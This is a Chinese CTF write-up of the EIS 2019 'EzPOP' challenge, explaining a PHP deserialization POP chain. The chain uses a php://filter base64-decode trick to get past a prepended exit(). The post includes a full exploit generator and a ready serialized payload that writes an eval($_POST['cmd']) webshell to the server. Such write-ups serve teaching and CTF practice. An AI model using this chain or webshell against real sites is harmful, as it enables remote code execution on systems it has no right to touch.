[EIS 2019]EzPOP

#题目:

 <?php
error_reporting(0);

class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct($store, $key = 'flysystem', $expire = null)
    {
        $this->key    = $key;
        $this->store  = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save()
    {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }
}

class B{
    protected function getExpireTime($expire): int
    {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string
    {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string
    {
        if (is_numeric($data)) {
            return (string) $data;
        }
        $serialize = $this->options['serialize'];
        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool
    {
        $this->writeTimes++;
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        $expire   = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);
        $dir = dirname($filename);
        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }
        return false;
    }
}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

依然是反序列化,两个类。
先看A类。
__construct方法

  public function __construct($store, $key = 'flysystem', $expire = null)
    {
        $this->key    = $key;
        $this->store  = $store;
        $this->expire = $expire;
    }

接收三个参数并赋值。魔法函数,在new一个对象的时候自动调用。

cleanContents方法

  public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

array_intersect_key()函数用于比较两个(或更多个)数组的键名 ,并返回交集。
第一段是数组赋值,第二段数组遍历并将两个数组的交际赋给$contents[$path]
所以我们$object的键选$cachedProperties中任意一个都行,这里选择path。值就是我们的shell的url后的base64编码,
image.png

JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==
所以
$object=array("path"=>"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==");

下面看B类
getCacheKey方法
prefix用于文件名构造

    public function getCacheKey(string $name): string
    {
        return $this->options['prefix'] . $name;
    }

$filename = $this->getCacheKey($name);

因为在后面写入文件的时候,前面拼接了一段别的php代码,而且这段代码会导致即便我们在后面拼接上shell也无法正常执行。

"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

这段代码中的$data全部用base64解码转化过后再写入文件中,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码过的)会解码成正常的木马文件。
这里唯一需要注意的是长度问题,我们需要shell部分<?php phpinfo()?>前面加起来的字节数为4的倍数(base64解码时不影响shell部分)。
所以$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/';已经可以确定了。

现在只需要控制写入内容
$date接收传参

$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

最终payload

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->key = 'pz.php';
    }
    public function start($tmp){
        $this->store = $tmp;
    }
}
class B{
    public $options;
}

$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>

PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg base64解码后为<?php eval($_POST['cmd']);?>
,payload运行后,date为

O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A6%3A%22expire%22%3Bi%3A11%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A6%3A%22pz.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A111%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A38%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%22%3B%7D%7Ds%3A8%3A%22complete%22%3Bs%3A1%3A%222%22%3B%7D

让?src=&data=payload
image.png

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值